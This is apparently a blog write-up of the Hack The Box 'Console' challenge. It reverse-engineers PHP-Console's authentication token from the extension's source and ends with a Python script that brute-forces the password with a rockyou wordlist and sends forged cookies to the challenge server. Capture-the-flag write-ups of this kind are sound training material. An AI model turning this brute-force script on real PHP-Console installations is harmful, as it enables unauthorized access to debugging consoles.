Hack the Box-Console

About the Challenge

“Console” is a challenge whcih value 40 points in “Hack The Box”. It test your web relative knowledge especially PHP. To solve this challenge you don’t need to any creative thoughts. Just. Follow the tittle description and understand source code.

Recon

When you click the link you will see a simple page “phpinfo” which is very familary for us. As usual I try to find subdir but got nothing. Also there is no gift on “robots.txt”. So I tried to find something juicy on phpinfo page.

As we can see. There is an alert on the top. It told you to install php-console. It was my first time listing this word. So I google it and found it’s a extension of Chrome browser. After I installed this extension, the page alert my to submit a password as shown below.

I open Chrome F12 and see what happend when I submit a password

There are two interesting part in response header. One is publicKey sounds important. The other is isSuccess seems like a authorization status.

It’s easy to recognize base64 in the request header. Let’s decode it. BTW base64 is just a encoding way not a encryption method.

{“php-console-client”:5,”auth”:{“publicKey”:”d1d58b2f732fd546d9507da275a71bddc0c2300a214af3f3f3a5f5f249fe275e”,”token”:”dfeba5efbf95d3dad4b78d7ebe17dca1957a225749c5504e29fc1a389cb31dc0”}}

See? It has the same publicKey whit the response Header but include token part. I guess I must submit a correct token.

Audit

But it is a hash string which can’t decryption by any tools. Ideas seem to be stuck here. I read the forum there is a comment asking can we avoid use chrome browser. And someone replied “Yeah just read the source code”. That nudged me. This “source code” doesn’t means webpage source code because there was nothing special. It means PHP-Console extension source code. I can easily find it on github.

https://github.com/barbushin/php-console

It contain a file called “Auth.php” which has the same name with a part of response header’s cookies. I audit ( not audit because I was not aim to find any vulnerables) the code and find how to generate token. I pick some important parts.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
class Auth {

const PASSWORD_HASH_SALT = 'NeverChangeIt:)';

protected $publicKeyByIp;
protected $passwordHash;

protected final function hash($string) {
return hash('sha256', $string);
}

protected final function getPasswordHash($password) {
return $this->hash($password . self::PASSWORD_HASH_SALT);
}

public final function getServerAuthStatus(ClientAuth $clientAuth = null) {
$serverAuthStatus = new ServerAuthStatus();
$serverAuthStatus->publicKey = $this->getPublicKey();
$serverAuthStatus->isSuccess = $clientAuth && $this->isValidAuth($clientAuth);
return $serverAuthStatus;
}

public final function isValidAuth(ClientAuth $clientAuth) {
return $clientAuth->publicKey === $this->getPublicKey() && $clientAuth->token === $this->getToken();

}

private final function getToken() {
return $this->hash($this->passwordHash . $this->getPublicKey());
}

As shown above, the method to generate tokekn is crystal.

sha256(sha256(password + PASSWORD_HASH_SALT) + publicKey)

All that remains is to write a script to brute force the password.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//author ama666
import requests
from hashlib import sha256
from base64 import b64encode
import json

url = 'http://docker.hackthebox.eu:32255'

publicKey = 'd1d58b2f732fd546d9507da275a71bddc0c2300a214af3f3f3a5f5f249fe275e'
f = open("/Users/ama666/Desktop/dictionary/rockyou.txt",'r')
for i in range(10000):
line = f.readline().strip()
password = line+'NeverChangeIt:)'
passwordHash = sha256(password.encode()).hexdigest()
token = sha256((passwordHash+publicKey).encode()).hexdigest()
if(token == 'ac6b9e41febb076e9d5f65053ac47b002a5b1e048361ba9f7179884558a17b76'):
print(line)
break
phpConsole = '{"php-console-client":5,"auth":{"publicKey":"d1d58b2f732fd546d9507da275a71bddc0c2300a214af3f3f3a5f5f249fe275e","token":"' + str(token) + '"}}'
phpConsole = b64encode(phpConsole.encode()).decode()
cookies = '_ga=GA1.2.17472251.1583007796; php-console-server=5; __auc=429a2481170e7388fa469b76c5b; ajs_user_id=null; ajs_group_id=null; ajs_anonymous_id=%2201310fe9-3e7a-4117-b948-b1a9815f22d9%22; _gid=GA1.2.1163442380.1584583133; __asc=1b4604b2170f15eb493b0954def; php-console-client=' + str(phpConsole)
headers = {
'Cookie' : cookies,
}
r = requests.get(url, headers=headers)
phpConsole = r.headers['PHP-Console']
phpConsole = json.loads(phpConsole)
status = phpConsole["auth"]["isSuccess"]
if(status != False):
print(line)
break
f.close()